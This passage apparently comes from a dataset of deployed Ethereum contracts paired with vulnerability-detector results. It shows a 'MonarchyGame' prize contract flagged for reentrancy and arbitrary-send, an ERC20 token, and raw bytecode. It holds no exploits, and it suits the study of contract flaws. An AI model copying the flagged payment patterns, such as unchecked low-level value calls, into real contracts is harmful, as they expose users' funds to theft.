0008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610da05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610528565b6001600160a01b038216610e025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610528565b60008111610e645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610528565b6001600e55600c600f556000546001600160a01b03848116911614801590610e9a57506000546001600160a01b03838116911614155b8015610eaf57506001600160a01b0383163014155b8015610ed457506001600160a01b03831660009081526005602052604090205460ff16155b8015610ef957506001600160a01b03821660009081526005602052604090205460ff16155b156111f6576001600160a01b03831660009081526006602052604090205460ff16158015610f4057506001600160a01b03821660009081526006602052604090205460ff16155b610f4957600080fd5b6013546001600160a01b038481169116148015610f7457506012546001600160a01b03838116911614155b8015610f9957506001600160a01b03821660009081526005602052604090205460ff16155b8015610fae5750601354600160b81b900460ff165b156110eb57600a548111156110055760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e000000006044820152606401610528565b6001600160a01b03821660009081526007602052604090205442116110615760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b6044820152606401610528565b600d548161106e846105f1565b6110789190611baa565b11156110c65760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e0000000000000000006044820152606401610528565b6110d142601e611baa565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561111657506012546001600160a01b03848116911614155b801561113b57506001600160a01b03831660009081526005602052604090205460ff16155b1561114b576001600e55600c600f555b43600b54600461115b9190611baa565b1015801561117657506013546001600160a01b038481169116145b15611186576001600e556063600f555b6000611191306105f1565b600c54909150811080159081906111b25750601354600160a81b900460ff16155b80156111cc57506013546001600160a01b03868116911614155b80156111e15750601354600160b01b900460ff165b156111ef576111ef8261124b565b5050611201565b6000600e819055600f555b61120c8383836114dd565b505050565b600081848411156112355760405162461bcd60e51b81526004016105289190611aaf565b5060006112428486611c03565b95945050505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061129357611293611c30565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112e757600080fd5b505afa1580156112fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131f919061196b565b8160018151811061133257611332611c30565b6001600160a01b0392831660209182029290920101526012546113589130911684610c18565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611391908590600090869030904290600401611b39565b600060405180830381600087803b1580156113ab57600080fd5b505af11580156113bf573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600060085482111561143b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610528565b60006114456114e8565b9050611451838261150b565b9392505050565b6010546001600160a01b03166108fc61147283600261150b565b6040518115909202916000818181858888f1935050505015801561149a573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114b583600261150b565b6040518115909202916000818181858888f19350505050158015610b36573d6000803e3d6000fd5b61120c83838361154d565b60008060006114f5611644565b9092509050611504828261150b565b9250505090565b600061145183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611690565b60008060008060008061155f876116be565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611591908761171b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115c0908661175d565b6001600160a01b0389166000908152600260205260409020556115e2816117bc565b6115ec8483611806565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161163191815260200190565b60405180910390a3505050505050505050565b60085460009081906d0366e7064422fd84202340000000611665828261150b565b821015611687575050600854926d0366e7064422fd8420234000000092509050565b90939092509050565b600081836116b15760405162461bcd60e51b81526004016105289190611aaf565b5060006112428486611bc2565b60008060008060008060008060006116db8a600e54600f5461182a565b92509250925060006116eb6114e8565b905060008060006116fe8e87878761187f565b919e509c509a509598509396509194505050505091939550919395565b600061145183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611211565b60008061176a8385611baa565b9050838110156114515760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610528565b60006117c66114e8565b905060006117d483836118cf565b306000908152600260205260409020549091506117f1908261175d565b30600090815260026020526040902055505050565b600854611813908361171b565b600855600954611823908261175d565b6009555050565b6000808080611844606461183e89896118cf565b9061150b565b90506000611857606461183e8a896118cf565b9050600061186f826118698b8661171b565b9061171b565b9992985090965090945050505050565b600080808061188e88866118cf565b9050600061189c88876118cf565b905060006118aa88886118cf565b905060006118bc82611869868661171b565b939b939a50919850919650505050505050565b6000826118de5750600061048f565b60006118ea8385611be4565b9050826118f78583611bc2565b146114515760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610528565b60006020828403121561196057600080fd5b813561145181611c46565b60006020828403121561197d57600080fd5b815161145181611c46565b6000806040838503121561199b57600080fd5b82356119a681611c46565b915060208301356119b681611c46565b809150509250929050565b6000806000606084860312156119d657600080fd5b83356119e181611c46565b925060208401356119f181611c46565b929592945050506040919091013590565b60008060408385031215611a1557600080fd5b8235611a2081611c46565b946020939093013593505050565b600060208284031215611a4057600080fd5b813561145181611c5b565b600060208284031215611a5d57600080fd5b815161145181611c5b565b600060208284031215611a7a57600080fd5b5035919050565b600080600060608486031215611a9657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611adc57858101830151858201604001528201611ac0565b81811115611aee576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b895784516001600160a01b031683529383019391830191600101611b64565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bbd57611bbd611c1a565b500190565b600082611bdf57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611bfe57611bfe611c1a565b500290565b600082821015611c1557611c15611c1a565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146105a657600080fd5b80151581146105a657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b8af5b7c0c68d2a16e6263b27eddea4fdf89ce3dfa0bb4b345381d44432fe3fa64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,078
0xea5d9e993e1133d0419a9e3fdde3654a08be7eed
pragma solidity ^0.4.23; /** A PennyAuction-like game to win a prize. UI: https://www.pennyether.com How it works: - An initial prize is held in the Contract - Anyone may overthrow the Monarch by paying a small fee. - They become the Monarch - The "reign" timer is reset to N. - The prize may be increased or decreased - If nobody overthrows the new Monarch in N blocks, the Monarch wins. For fairness, an "overthrow" is refunded if: - The incorrect amount is sent. - The game is already over. - The overthrower is already the Monarch. - Another overthrow occurred in the same block - Note: Here, default gas is used for refund. On failure, fee is kept. Other notes: - .sendFees(): Sends accrued fees to "collector", at any time. - .sendPrize(): If game is ended, sends prize to the Monarch. */ contract MonarchyGame { // We store values as GWei to reduce storage to 64 bits. // int64: 2^63 GWei is ~ 9 billion Ether, so no overflow risk. // // For blocks, we use uint32, which has a max value of 4.3 billion // At a 1 second block time, there's a risk of overflow in 120 years. // // We put these variables together because they are all written to // on each bid. This should save some gas when we write. struct Vars { // [first 256-bit segment] address monarch; // address of monarch uint64 prizeGwei; // (Gwei) the current prize uint32 numOverthrows; // total number of overthrows // [second 256-bit segment] uint32 blockEnded; // the time at which no further overthrows can occur uint32 prevBlock; // block of the most recent overthrow bool isPaid; // whether or not the winner has been paid bytes23 decree; // 23 leftover bytes for decree } // These values are set on construction and don't change. // We store in a struct for gas-efficient reading/writing. struct Settings { // [first 256-bit segment] address collector; // address that fees get sent to uint64 initialPrizeGwei; // (Gwei > 0) amt initially staked // [second 256-bit segment] uint64 feeGwei; // (Gwei > 0) cost to become the Monarch int64 prizeIncrGwei; // amount added/removed to prize on overthrow uint32 reignBlocks; // number of blocks Monarch must reign to win } Vars vars; Settings settings; uint constant version = 1; event SendPrizeError(uint time, string msg); event Started(uint time, uint initialBlocks); event OverthrowOccurred(uint time, address indexed newMonarch, bytes23 decree, address indexed prevMonarch, uint fee); event OverthrowRefundSuccess(uint time, string msg, address indexed recipient, uint amount); event OverthrowRefundFailure(uint time, string msg, address indexed recipient, uint amount); event SendPrizeSuccess(uint time, address indexed redeemer, address indexed recipient, uint amount, uint gasLimit); event SendPrizeFailure(uint time, address indexed redeemer, address indexed recipient, uint amount, uint gasLimit); event FeesSent(uint time, address indexed collector, uint amount); constructor( address _collector, uint _initialPrize, uint _fee, int _prizeIncr, uint _reignBlocks, uint _initialBlocks ) public payable { require(_initialPrize >= 1e9); // min value of 1 GWei require(_initialPrize < 1e6 * 1e18); // max value of a million ether require(_initialPrize % 1e9 == 0); // even amount of GWei require(_fee >= 1e6); // min value of 1 GWei require(_fee < 1e6 * 1e18); // max value of a million ether require(_fee % 1e9 == 0); // even amount of GWei require(_prizeIncr <= int(_fee)); // max value of _bidPrice require(_prizeIncr >= -1*int(_initialPrize)); // min value of -1*initialPrize require(_prizeIncr % 1e9 == 0); // even amount of GWei require(_reignBlocks >= 1); // minimum of 1 block require(_initialBlocks >= 1); // minimum of 1 block require(msg.value == _initialPrize); // must've sent the prize amount // Set instance variables. these never change. // These can be safely cast to int64 because they are each < 1e24 (see above), // 1e24 divided by 1e9 is 1e15. Max int64 val is ~1e19, so plenty of room. // For block numbers, uint32 is good up to ~4e12, a long time from now. settings.collector = _collector; settings.initialPrizeGwei = uint64(_initialPrize / 1e9); settings.feeGwei = uint64(_fee / 1e9); settings.prizeIncrGwei = int64(_prizeIncr / 1e9); settings.reignBlocks = uint32(_reignBlocks); // Initialize the game variables. vars.prizeGwei = settings.initialPrizeGwei; vars.monarch = _collector; vars.prevBlock = uint32(block.number); vars.blockEnded = uint32(block.number + _initialBlocks); emit Started(now, _initialBlocks); } /*************************************************************/ /********** OVERTHROWING *************************************/ /*************************************************************/ // // Upon new bid, adds fees and increments time and prize. // - Refunds if overthrow is too late, user is already monarch, or incorrect value passed. // - Upon an overthrow-in-same-block, refends previous monarch. // // Gas Cost: 34k - 50k // Overhead: 25k // - 23k: tx overhead // - 2k: SLOADs, execution // Failure: 34k // - 25k: overhead // - 7k: send refund // - 2k: event: OverthrowRefundSuccess // Clean: 37k // - 25k: overhead // - 10k: update Vars (monarch, numOverthrows, prize, blockEnded, prevBlock, decree) // - 2k: event: OverthrowOccurred // Refund Success: 46k // - 25k: overhead // - 7k: send // - 10k: update Vars (monarch, decree) // - 2k: event: OverthrowRefundSuccess // - 2k: event: OverthrowOccurred // Refund Failure: 50k // - 25k: overhead // - 11k: send failure // - 10k: update Vars (monarch, numOverthrows, prize, decree) // - 2k: event: OverthrowRefundFailure // - 2k: event: OverthrowOccurred function() public payable { overthrow(0); } function overthrow(bytes23 _decree) public payable { if (isEnded()) return errorAndRefund("Game has already ended."); if (msg.sender == vars.monarch) return errorAndRefund("You are already the Monarch."); if (msg.value != fee()) return errorAndRefund("Value sent must match fee."); // compute new values. hopefully optimizer reads from vars/settings just once. int _newPrizeGwei = int(vars.prizeGwei) + settings.prizeIncrGwei; uint32 _newBlockEnded = uint32(block.number) + settings.reignBlocks; uint32 _newNumOverthrows = vars.numOverthrows + 1; address _prevMonarch = vars.monarch; bool _isClean = (block.number != vars.prevBlock); // Refund if _newPrize would end up being < 0. if (_newPrizeGwei < 0) return errorAndRefund("Overthrowing would result in a negative prize."); // Attempt refund, if necessary. Use minimum gas. bool _wasRefundSuccess; if (!_isClean) { _wasRefundSuccess = _prevMonarch.send(msg.value); } // These blocks can be made nicer, but optimizer will // sometimes do two updates instead of one. Seems it is // best to keep if/else trees flat. if (_isClean) { vars.monarch = msg.sender; vars.numOverthrows = _newNumOverthrows; vars.prizeGwei = uint64(_newPrizeGwei); vars.blockEnded = _newBlockEnded; vars.prevBlock = uint32(block.number); vars.decree = _decree; } if (!_isClean && _wasRefundSuccess){ // when a refund occurs, we just swap winners. // overthrow count and prize do not get reset. vars.monarch = msg.sender; vars.decree = _decree; } if (!_isClean && !_wasRefundSuccess){ vars.monarch = msg.sender; vars.prizeGwei = uint64(_newPrizeGwei); vars.numOverthrows = _newNumOverthrows; vars.decree = _decree; } // Emit the proper events. if (!_isClean){ if (_wasRefundSuccess) emit OverthrowRefundSuccess(now, "Another overthrow occurred on the same block.", _prevMonarch, msg.value); else emit OverthrowRefundFailure(now, ".send() failed.", _prevMonarch, msg.value); } emit OverthrowOccurred(now, msg.sender, _decree, _prevMonarch, msg.value); } // called from the bidding function above. // refunds sender, or throws to revert entire tx. function errorAndRefund(string _msg) private { require(msg.sender.call.value(msg.value)()); emit OverthrowRefundSuccess(now, _msg, msg.sender, msg.value); } /*************************************************************/ /********** PUBLIC FUNCTIONS *********************************/ /*************************************************************/ // Sends prize to the current winner using _gasLimit (0 is unlimited) function sendPrize(uint _gasLimit) public returns (bool _success, uint _prizeSent) { // make sure game has ended, and is not paid if (!isEnded()) { emit SendPrizeError(now, "The game has not ended."); return (false, 0); } if (vars.isPaid) { emit SendPrizeError(now, "The prize has already been paid."); return (false, 0); } address _winner = vars.monarch; uint _prize = prize(); bool _paySuccessful = false; // attempt to pay winner (use full gas if _gasLimit is 0) vars.isPaid = true; if (_gasLimit == 0) { _paySuccessful = _winner.call.value(_prize)(); } else { _paySuccessful = _winner.call.value(_prize).gas(_gasLimit)(); } // emit proper event. rollback .isPaid on failure. if (_paySuccessful) { emit SendPrizeSuccess({ time: now, redeemer: msg.sender, recipient: _winner, amount: _prize, gasLimit: _gasLimit }); return (true, _prize); } else { vars.isPaid = false; emit SendPrizeFailure({ time: now, redeemer: msg.sender, recipient: _winner, amount: _prize, gasLimit: _gasLimit }); return (false, 0); } } // Sends accrued fees to the collector. Callable by anyone. function sendFees() public returns (uint _feesSent) { _feesSent = fees(); if (_feesSent == 0) return; require(settings.collector.call.value(_feesSent)()); emit FeesSent(now, settings.collector, _feesSent); } /*************************************************************/ /********** PUBLIC VIEWS *************************************/ /*************************************************************/ // Expose all Vars //////////////////////////////////////// function monarch() public view returns (address) { return vars.monarch; } function prize() public view returns (uint) { return uint(vars.prizeGwei) * 1e9; } function numOverthrows() public view returns (uint) { return vars.numOverthrows; } function blockEnded() public view returns (uint) { return vars.blockEnded; } function prevBlock() public view returns (uint) { return vars.prevBlock; } function isPaid() public view returns (bool) { return vars.isPaid; } function decree() public view returns (bytes23) { return vars.decree; } /////////////////////////////////////////////////////////// // Expose all Settings ////////////////////////////////////// function collector() public view returns (address) { return settings.collector; } function initialPrize() public view returns (uint){ return uint(settings.initialPrizeGwei) * 1e9; } function fee() public view returns (uint) { return uint(settings.feeGwei) * 1e9; } function prizeIncr() public view returns (int) { return int(settings.prizeIncrGwei) * 1e9; } function reignBlocks() public view returns (uint) { return settings.reignBlocks; } /////////////////////////////////////////////////////////// // The following are computed ///////////////////////////// function isEnded() public view returns (bool) { return block.number > vars.blockEnded; } function getBlocksRemaining() public view returns (uint) { if (isEnded()) return 0; return (vars.blockEnded - block.number) + 1; } function fees() public view returns (uint) { uint _balance = address(this).balance; return vars.isPaid ? _balance : _balance - prize(); } function totalFees() public view returns (uint) { int _feePerOverthrowGwei = int(settings.feeGwei) - settings.prizeIncrGwei; return uint(_feePerOverthrowGwei * vars.numOverthrows * 1e9); } /////////////////////////////////////////////////////////// }
0x6080604052600436106100ed5763ffffffff60e060020a6000350416631218d6bf81146100f957806313114a9d1461012d578063209ebc08146101545780632398a6a61461017d578063544cfead146101b05780635552d1cb146101c55780637941a062146101da57806385663119146101ef578063913e77ad1461020457806395a50a9d14610235578063962aab811461024a5780639af1d35a1461025f5780639d129afd14610274578063a4fd6f5614610289578063aa76994d1461029e578063dccfbb62146102b3578063ddca3f43146102ca578063dff90b5b146102df578063e3ac5d26146102f4575b6100f76000610309565b005b34801561010557600080fd5b5061010e61089b565b6040805168ffffffffffffffffff199092168252519081900360200190f35b34801561013957600080fd5b506101426108b2565b60408051918252519081900360200190f35b34801561016057600080fd5b506101696108f3565b604080519115158252519081900360200190f35b34801561018957600080fd5b50610195600435610908565b60408051921515835260208301919091528051918290030190f35b3480156101bc57600080fd5b50610142610b74565b3480156101d157600080fd5b50610142610b94565b3480156101e657600080fd5b50610142610bb3565b3480156101fb57600080fd5b50610142610bdd565b34801561021057600080fd5b50610219610bfa565b60408051600160a060020a039092168252519081900360200190f35b34801561024157600080fd5b50610219610c09565b34801561025657600080fd5b50610142610c18565b34801561026b57600080fd5b50610142610c24565b34801561028057600080fd5b50610142610c60565b34801561029557600080fd5b50610169610c74565b3480156102aa57600080fd5b50610142610c82565b6100f768ffffffffffffffffff1960043516610309565b3480156102d657600080fd5b50610142610c95565b3480156102eb57600080fd5b50610142610cab565b34801561030057600080fd5b50610142610d3c565b60008060008060008061031a610c74565b156103625761035d6040805190810160405280601781526020017f47616d652068617320616c726561647920656e6465642e000000000000000000815250610d59565b610892565b60005433600160a060020a03908116911614156103b75761035d6040805190810160405280601c81526020017f596f752061726520616c726561647920746865204d6f6e617263682e00000000815250610d59565b6103bf610c95565b34146104035761035d6040805190810160405280601a81526020017f56616c75652073656e74206d757374206d61746368206665652e000000000000815250610d59565b600354600080546001805467ffffffffffffffff60a060020a840416680100000000000000008604600790810b900b019a504363ffffffff700100000000000000000000000000000000909604861681019a5060e060020a840486169092019850600160a060020a0390921696506401000000009091049092169091141592508612156104ef5761035d606060405190810160405280602e81526020017f4f7665727468726f77696e6720776f756c6420726573756c7420696e2061206e81526020017f65676174697665207072697a652e000000000000000000000000000000000000815250610d59565b81151561051c57604051600160a060020a038416903480156108fc02916000818181858888f19450505050505b81156105f9576000805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a0316177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660e060020a63ffffffff87811691909102919091177bffffffffffffffff0000000000000000000000000000000000000000191660a060020a67ffffffffffffffff8a1602179091556001805463ffffffff19168783161767ffffffff00000000191664010000000043909316929092029190911768ffffffffffffffffff166901000000000000000000808a04021790555b811580156106045750805b15610653576000805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790556001805468ffffffffffffffffff166901000000000000000000808a04021790555b8115801561065f575080155b1561070b576000805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a0316177bffffffffffffffff0000000000000000000000000000000000000000191660a060020a67ffffffffffffffff891602177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660e060020a63ffffffff8716021790556001805468ffffffffffffffffff166901000000000000000000808a04021790555b8115156108365780156107bc57604080514281523481830152606060208201819052602d908201527f416e6f74686572206f7665727468726f77206f63637572726564206f6e20746860808201527f652073616d6520626c6f636b2e0000000000000000000000000000000000000060a08201529051600160a060020a038516917f7ec2f7089b8385bbdf9a0764da5530ce3b10790b330990c4a16eee8502fee635919081900360c00190a2610836565b604080514281523481830152606060208201819052600f908201527f2e73656e642829206661696c65642e000000000000000000000000000000000060808201529051600160a060020a038516917f9e8d29ce9e4f8c5858752f5647dc107c3e2920ba59cf4ebecec0c3b3e4ff5754919081900360a00190a25b6040805142815268ffffffffffffffffff198916602082015234818301529051600160a060020a038086169233909116917fc83e58d7177ede708898b52074d4170a814567d16e726145e6ffd2949fac6c899181900360600190a35b50505050505050565b600154690100000000000000000090819004025b90565b600354600054680100000000000000008204600790810b900b67ffffffffffffffff9092169190910360e060020a90910463ffffffff1602633b9aca000290565b60015468010000000000000000900460ff1690565b6000806000806000610918610c74565b15156109905760408051428152602081018290526017818301527f5468652067616d6520686173206e6f7420656e6465642e000000000000000000606082015290517f2afc455aa1a9850b803dfff6bee46de3cbbe38ded71b06a646d1dfce653955ce9181900360800190a160009450849350610b6c565b60015468010000000000000000900460ff1615610a1857604080514281526020808201839052818301527f546865207072697a652068617320616c7265616479206265656e20706169642e606082015290517f2afc455aa1a9850b803dfff6bee46de3cbbe38ded71b06a646d1dfce653955ce9181900360800190a160009450849350610b6c565b600054600160a060020a03169250610a2e610d3c565b6001805468ff0000000000000000191668010000000000000000179055915060009050851515610a7c57604051600160a060020a038416908390600081818185875af1925050509050610a9e565b604051600160a060020a03841690879084906000818181858888f19450505050505b8015610b015760408051428152602081018490528082018890529051600160a060020a038086169233909116917fb118d61b0dad314aa0e1fbf891cd90b2a2e6c3a045b45086ab53171a9c62f1989181900360600190a360018294509450610b6c565b6001805468ff00000000000000001916905560408051428152602081018490528082018890529051600160a060020a038086169233909116917f110c9f01bab897795c757b52a2b569e4b4fb23c70e0ef82fddb744a2080444dc9181900360600190a3600094508493505b505050915091565b600354700100000000000000000000000000000000900463ffffffff1690565b600354680100000000000000009004600790810b900b633b9aca000290565b6000610bbd610c74565b15610bca575060006108af565b50600180544363ffffffff909116030190565b60025460a060020a900467ffffffffffffffff16633b9aca000290565b600254600160a060020a031690565b600054600160a060020a031690565b60015463ffffffff1690565b60015460009030600160a060020a0316319068010000000000000000900460ff16610c5857610c51610d3c565b8103610c5a565b805b91505090565b600154640100000000900463ffffffff1690565b60015463ffffffff16431190565b60005460e060020a900463ffffffff1690565b60035467ffffffffffffffff16633b9aca000290565b6000610cb5610c24565b9050801515610cc3576108af565b600254604051600160a060020a03909116908290600081818185875af1925050501515610cef57600080fd5b60025460408051428152602081018490528151600160a060020a03909316927fc45e5179c60db4d7153208f2be391d4f772ed3ca331081374ec8b205f4091102929181900390910190a290565b60005460a060020a900467ffffffffffffffff16633b9aca000290565b604051600160a060020a033316903490600081818185875af1925050501515610d8157600080fd5b33600160a060020a03167f7ec2f7089b8385bbdf9a0764da5530ce3b10790b330990c4a16eee8502fee6354283346040518084815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015610df8578181015183820152602001610de0565b50505050905090810190601f168015610e255780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a2505600a165627a7a72305820d59d66936b507fdff364af9513ce906f240e226943869e2117835bc12591babc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,079
0x949911c1ba7decccb37a20a0f30225b70f30d913
pragma solidity 0.7.0; // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ASSETBACKEDPROTOCOLTOKEN is IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; using SafeMath for uint; uint256 private _totalSupply; address private _owner; string private _name; string private _symbol; uint8 private _decimals; constructor () { _name = 'Asset backed protocol token'; _symbol = 'ABP'; _decimals = 18; _owner = 0x6419c74008Bc806739eC5608dB318e3D594e9EAa; _totalSupply = 2000000000 * (10**_decimals); //transfer total supply to owner _balances[_owner] =_totalSupply; //fire an event on transfer of tokens emit Transfer(address(0),_owner, _balances[_owner]); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(sender != recipient,"Can not send money to yourself"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint tokens) internal { require (owner != address(0), "Cannot approve from the 0 address"); require (spender != address(0), "Cannot approve the 0 address"); _allowances[owner][spender] = tokens; emit Approval(owner, spender, tokens); } function _burn(uint amount) external { require(msg.sender == _owner,"only owner can call this"); _balances[msg.sender] = _balances[msg.sender].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(msg.sender, address(0), amount); } }
